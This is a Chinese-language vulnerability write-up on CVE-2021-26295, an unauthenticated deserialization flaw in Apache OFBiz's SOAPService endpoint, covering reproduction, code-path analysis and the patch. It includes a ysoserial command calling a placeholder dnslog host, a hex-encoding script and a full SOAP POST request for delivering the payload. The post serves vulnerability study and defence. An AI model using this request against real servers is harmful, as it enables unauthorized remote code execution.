0x00 前言

之前分析过Ofbiz的CVE-2020-9496了,现在继续看看另一个洞即CVE-2021-26295。

0x01 SOAP简介

SOAP(Simple Object Access Protocol)简单对象访问协议是交换数据的一种协议规范,是一种轻量的、简单的、基于XML(标准通用标记语言下的一个子集)的协议,它被设计成在WEB上交换结构化的和固化的信息。SOAP不是Web Service的专有协议。

SOAP使用HTTP来发送XML格式的数据,可以简单理解为:SOAP = HTTP +XML

SOAP结构如图:

包括以下元素:

  • 必需的 Envelope 元素,可把此 XML 文档标识为一条 SOAP 消息
  • 可选的 Header 元素,包含头部信息
  • 必需的 Body 元素,包含所有的调用和响应信息
  • 可选的 Fault 元素,提供有关在处理此消息所发生错误的信息

0x02 漏洞原理

在17.12.06之前版本的Ofbiz中,其中的未授权访问SOAP服务接口/webtools/control/SOAPService存在反序列化漏洞,攻击者可通过该接口实现RCE。

0x03 影响版本

< 17.12.06

0x04 环境搭建

参考Vulhub:https://vulhub.org/#/environments/ofbiz/CVE-2020-9496/

0x05 漏洞复现

使用ysoserial生成payload:

1
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://xxx.dnslog.cn" > poc.txt

str2hex.py,用于将生成的序列化内容转换为Hex格式内容:

1
2
3
4
5
6
7
#coding=utf8
import binascii

with open('poc.txt', 'rb') as payload_handle:
content = payload_handle.read()
str_hex = binascii.hexlify(content)
print(str_hex)

用SOAP型报文的形式POST过去:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
POST /webtools/control/SOAPService HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Content-Length: 1015
Accept: */*
Content-Type: application/xml
Origin: chrome-extension://ieoejemkppmjcdfbnfphhpbfmallhfnc
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie:
Connection: close

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header/>
<soapenv:Body>
<ser>
<map-HashMap>
<map-Entry>
<map-Key>
<cus-obj>hex格式的序列化内容</cus-obj>
</map-Key>
<map-Value>
<std-String value="test"/>
</map-Value>
</map-Entry>
</map-HashMap>
</ser>
</soapenv:Body>
</soapenv:Envelope>

0x06 漏洞分析

本次漏洞接口/webtools/control/SOAPService和上次的xmlrpc漏洞接口是同一出处,都是在webtools应用目录中,这里就只看看它们的差异。

先看看它的配置文件framework/webtools/webapp/webtools/WEB-INF/controller.xml,对于该接口也是没有设置权限校验:

前面的流程和之前的类似,简单地说就是路由调用栈为ControlServlet.doPost()->ControlServlet.doGet()->RequestHandler.doRequest()->RequestHandler.runEvent()->EventHandler.invoke(),此处就根据不同接口获取到不用的EventHandler实现类对象来调用不同处理方法,这里SOAP接口的EventHandler实现类为SOAPEventHandler,即调用其invoke()函数,而其中会获取请求的SOAP数据内容并调用SoapSerializer.deserialize()函数对序列化的数据内容进行反序列化操作:

看到SoapSerializer类deserialize()函数中,就是调用的调用XmlSerializer.deserialize()函数进行反序列化,其中如果识别到cus-obj标签则调用UtilObject.getObject()函数进行处理:

往下跟UtilObject.getObject()函数,调用了SafeObjectInputStream类的readObject()函数进行反序列化操作:

看到SafeObjectInputStream类,其中是设置了反序列化类名的白名单机制,只允许白名单内的类进行反序列化:

但是由于该白名单设置得太泛(java.),导致仍能被RMI payload攻击利用。

0x07 补丁分析

官方更新:https://github.com/apache/ofbiz-framework/commit/af9ed4e/

就是过滤了RMI payload:

0x08 参考

CVE-2021-26295 Apache OFBiz 反序列化分析